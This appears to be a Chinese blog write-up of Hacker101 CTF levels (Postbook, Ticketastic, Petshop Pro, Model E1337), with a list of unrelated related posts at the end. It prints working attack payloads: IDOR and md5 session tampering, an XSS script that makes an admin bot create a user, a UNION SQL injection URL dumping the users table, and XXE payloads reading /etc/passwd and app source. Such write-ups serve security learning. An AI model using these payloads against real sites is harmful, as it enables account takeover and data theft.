前言

Easy-Postbook

拿到功能有点多,先扫一遍目录

.Ds_Store没有啥东西,page是个静态页面

随便注册个账号,登录后已经有2篇文章,第一篇文章的id是1

自己创建文章,将url的参数id值改为1,可以越权修改文章,获取第一个flag

改成id的值1

提交获取flag

我们将自己的session的hash值放入md5中,发现MD5解码为3

因此将session值改为1和2的md5试试看

替换为1的md5,登录账号1,获取第二个flag

使用2的md5值登录账号2,拿到第三个flag........后面看了hint里面的思路是弱口令

与第一个flag的越权修改不同,这次越权修改私密信息,获取第四个flag,其实这个flag应该是越权查看profile的,但一并出来了

去查delete跟的hash参数,也是简单的数据经过md5加密的

因此肯定存在越权,登录另一个账号,删除账号1的文章

拿到第五个flag

profile也存在越权,通过后面的id,按abcdef的顺序可查看不同账号写的文章,但是这个地方获取的flag是之前提交过的

文章发表处也存在越权,可以看到写文章处post请求存在一个参数id

那么修改id为1,拿到第六个flag

还有一个flag,捣鼓了下修改密码处,无果

整理下现在拿flag的地方,越权查看别人的个人页面和私密信息,越权改他人文章,越权删除,越权发表,账号越权2个

最后一个我看了提示是说的 198*5,最后在遍历文章id的时候发现945处存在flag

这类漏洞利用思路hint

Moderate-Ticketastic: Demo Instance

这道题没有flag,找了一遍不知道是不是xss盲打的demo,但又没有实际操作的管理员,看他简介说有个bot,但是因为目标服务器出不了外网,所以弹回cookie是不可能的

给了后台管理员登录admin/admin

前台有个反馈

反馈后,后台弹框,JavaScript成功执行

Moderate-Ticketastic: Live Instance

环境和上一个是一样的,但是有2个flag,且后台登不进去了并且httponly,打不到cookie的

但是可以看到他存在一个创建用户,并且提到了后台存在bot,那么我们要控制ajax去添加一个新用户登陆。

拿到创建test/test的请求

http://35.227.24.107/f74667acba/newUser?username=test&password=test&password2=test

来手写ajax

<script>
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://35.227.24.107/e976981e0b/newUser?username=test&password=test&password2=test", true);
xhttp.withCredentials = true;
xhttp.send();
</script>

尝试了下不行

中途有事耽搁了几天,重新申请了环境,改改poc

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://35.227.24.107/593057b1f1/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

将请求内容放到title中,终于在测试环境中成功了

成功添加了test1/test

那么在正式题目环境中,尝试一下

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://34.94.3.143/bfc12eb146/newUser?username=test1&password=test&password2=test");xhttp.send();</script>

![截屏2020-09-08 上午10.03.05](/Users/mi0/Library/Application Support/typora-user-images/截屏2020-09-08 上午10.03.05.png)

登录还是失败,此时我一度怀疑后台小机器人坏了......网上有人尝试<a>标签成功,使用该方法试试

<a href="http://localhost/newUser?username=test&password=test&password2=test">click me </a>

可以成功登了,注意没有hash的路径,他每个路径都是一个docker镜像,所以对于本地服务器来说localhost = xx.xx.xx.xx/hash/

竟然登了进去了,找到第一个flag

那么ajax为啥不行么,后面发现还是路径的问题,因此下面的payload是可以的

<script>var xhttp = new XMLHttpRequest();xhttp.open("GET", "http://localhost/newUser?username=test&password=test&password2=test");xhttp.send();</script>

在测试环境之所以可以,因为ajax的请求是访问者触发的,我的电脑可以访问外网因此可以添加用户,而机器人是无法出外网的因此必须要localhost,但是对于机器人来说它的路径没有那串hash,因此这也是为啥payload不成功的原因

第二个flag在id=1处,使用sql的测试语句报错

明显sql注入了,sqlmap不知道为啥很慢,带回显的联合注入,直接手注

http://34.94.3.143/86aec2a42c/ticket?id=-1%20union%20select%20(select%20group_concat(id,username,password)%20from%20users),2,3%23

这类漏洞利用思路hint

之前同事提到的反射型xss不要急着交,没多少钱,比如这里可以结合ajax,添加用户啊啥的,扩大危害面

Easy-Petshop Pro

进入题目分析下功能点,是个购物车功能

添加了几个货物后,在check out的时候修改金额为负数,典型的购物逻辑漏洞,获取第一个flag

剩下2个flag没有思路,先扫一遍目录

看有个login,访问下,错误的用户名会提示Invalid username,尝试爆破下

刚好Invalid password和Invalid username 一样的长度,所以通过返回值来判断,可以爆破出用户erika(burpsuit自带字典)

同理爆破出弱口令key

拿到第二个flag

点击edit,换个没登录的账号,存在越权但没有flag,也有xss但没有flag

最后名称处的xss,在主页不会出flag,但是会在购物车里面出第三个flag.....

这类漏洞利用思路hint

Hard-Model E1337 - Rolling Code Lock

先扫一下目录发现有admin目录

访问,没有按钮,input里面没有修改,尝试了传入location参数,没有任何变化

接下来看看注释,说有个get-config

可以看到确实存在get-config目录,内容也是上面admin目录下的input里面的文本,并且该页面是个xml文件格式

那么有get-config,猜测可能存在set-config,访问后验证假设成立,但是请求不对

抓包发送options 看一看可以请求的类型,看到请求方法还是只允许get,可能缺失什么参数,输入location也不对,只有爆破一下试试,这里使用burpsuit的short password字典试一试

爆破到参数为data的时候为500.....

联合之前的get-config是xml格式,这里怀疑传入的可能也是xml格式,也就是xxe漏洞

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<root>
<xxe>&c;</xxe>
</root>

url编码一下

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%3e%0a%5d%3e%0a%3c%72%6f%6f%74%3e%0a%3c%78%78%65%3e%26%63%3b%3c%2f%78%78%65%3e%0a%3c%2f%72%6f%6f%74%3e

非常棒,302了,说明成功了

但是其他页面都一尘不变,修改下poc,下面成功将test,打印到了admin中

xxe的poc,我们将读取的文件打入会输出的标签中,因此再次修改poc

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///etc/passwd">
]>
<config>
<location>&c;</location>
</config>

已经成功读取到了/etc/passwd了,但是莫得flag,后面有尝试使用expect协议代码执行,也没有效果

那么接下来应该是去读源代码了,这个环境坑定是python写的,结合上一节的一道题目,大概率有以下目录,/app/main.py

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///app/main.py">
]>
<config>
<location>&c;</location>
</config>

拿到第一个flag

第二个flag应该是需要unlock了,需要查看代码逻辑,FLAG是存在全局变量里面的

主要看以下代码逻辑,发现code会进入int函数转换为数字,这也是为啥在主界面输入字符时会报错的原因

匹配值会进入next函数,但main.py里面没有next函数的定义

观察最开始的import,引入了rng包,因此使用xxe去读取rng.py文件

读取后可以看到next的逻辑,但是密码学的渣看不懂啊orz

密码种子碰撞不会orz,暂时挖个坑

hacker101 CTF 学习记录(二)的更多相关文章

  1. Hacker101 CTF 学习记录(一)

    前言 苦力挖洞,靠运气赚点小钱.看着大佬严重,高危,再看看自己手上的低危,无危害默默流下了菜鸡的泪水 思路受局限,之前听学长推荐和同事聊到hacker101,因此通过hacker101拓展下漏洞利用思 ...

  2. Material Calendar View 学习记录(二)

    Material Calendar View 学习记录(二) github link: material-calendarview; 在学习记录一中简单翻译了该开源项目的README.md文档.接下来 ...

  3. Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客

    ==他的博客应该不错,没有细看 Spring Boot学习记录(二)--thymeleaf模板 - CSDN博客 http://blog.csdn.net/u012706811/article/det ...

  4. JavaScript学习记录二

    title: JavaScript学习记录二 toc: true date: 2018-09-13 10:14:53 --<JavaScript高级程序设计(第2版)>学习笔记 要多查阅M ...

  5. 2.VUE前端框架学习记录二

    VUE前端框架学习记录二:Vue核心基础2(完结)文字信息没办法描述清楚,主要看编码实战里面,有附带有一个完整可用的Html页面,有需要的同学到脑图里面自取.脑图地址http://naotu.baid ...

  6. Spring Boot学习记录(二)–thymeleaf模板

    自从来公司后都没用过jsp当界面渲染了,因为前后端分离不是很好,反而模板引擎用的比较多,thymeleaf最大的优势后缀为html,就是只需要浏览器就可以展现页面了,还有就是thymeleaf可以很好 ...

  7. 【java并发编程艺术学习】(四)第二章 java并发机制的底层实现原理 学习记录(二) synchronized

    章节介绍 本章节主要学习 Java SE 1.6 中为了减少获得锁 和 释放锁 时带来的性能消耗 而引入的偏向锁 和 轻量级锁,以及锁的存储结构 和 升级过程. synchronized实现同步的基础 ...

  8. SpringBoot学习记录(二)

    一. SpringBoot日志框架 SpringBoot:底层是Spring框架,Spring框架默认是用JCL(commons-logging): SpringBoot选用SLF4j和logback ...

  9. Spring学习记录(二)---容器和bean属性配置

    下载spring包,在eclipse搭建spring环境. 这步我在eclipse中无法导入包,看网上的: http://sishuok.(和谐)com/forum/blogPost/list/242 ...

随机推荐

  1. 2020-07-06:一个6亿的表a,一个3亿的表b,通过外间tid关联,你如何最快的查询出满足条件的第50000到第50200中的这200条数据记录

    福哥答案2020-07-06:表a和表b的字段都是id和tid,数据类型都是int.查询结果顺序上以 表a 为准.1.JOIN.SELECT * FROM a JOIN b ON a.tid = b. ...

  2. C#LeetCode刷题-双指针

    双指针篇 # 题名 刷题 通过率 难度 3 无重复字符的最长子串   24.5% 中等 11 盛最多水的容器   43.5% 中等 15 三数之和   16.1% 中等 16 最接近的三数之和   3 ...

  3. C#LeetCode刷题之#237-删除链表中的节点(Delete Node in a Linked List)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3832 访问. 请编写一个函数,使其可以删除某个链表中给定的(非末 ...

  4. Vue 使用v-for对Object进行遍历

    v-for 也可以对Object类型数据进行遍历 value在前, key在后 <div v-for="(value,key) in person"> <p> ...

  5. Vue 内联模板(inline-template)

    内联模板不会把子组件的内容分发渲染到父组件中 而是需要在父组件中实现其内容的渲染 父组件 <template> <div> <template-inline inline ...

  6. golang 总结库

    前言 这个是用来进行总结学习的,相当于自学笔记 记录的东西,是随时更新的, 有些东西,可能就是记录下,并不一定代表他一定能解决问题 不要做纯粹的文字的搬运工,要多做灵感整理 我看文章会看好多,所以常常 ...

  7. Kubernetes基于haproxy实现ingress服务暴露

    HAproxy Ingress控制器 HAproxy Ingress简介 HAProxy Ingress watches in the k8s cluster and how it builds HA ...

  8. Linux内核之 进程调度

    上一篇我们提到过进程状态,而进程调度主要是针对TASK_RUNNING运行状态进行调度,因为其他状态是不可执行比如睡眠,不需要调度. 1.进程调度概念 进程调度程序,简称调度程序,它是确保进程能有效工 ...

  9. 线段树(二)STEP

    线段树(二) 线段树例题整理 Part 1:题面 传送门:https://www.luogu.com.cn/problem/P6492(靠之前传送门放错了,暴露了我在机房逛B站的事实-- Part 2 ...

  10. eric4 中 pyqt .py文件结尾的 代码

    if __name__ == "__main__": import sys app = QtGui.QApplication(sys.argv) ui = MainWindow() ...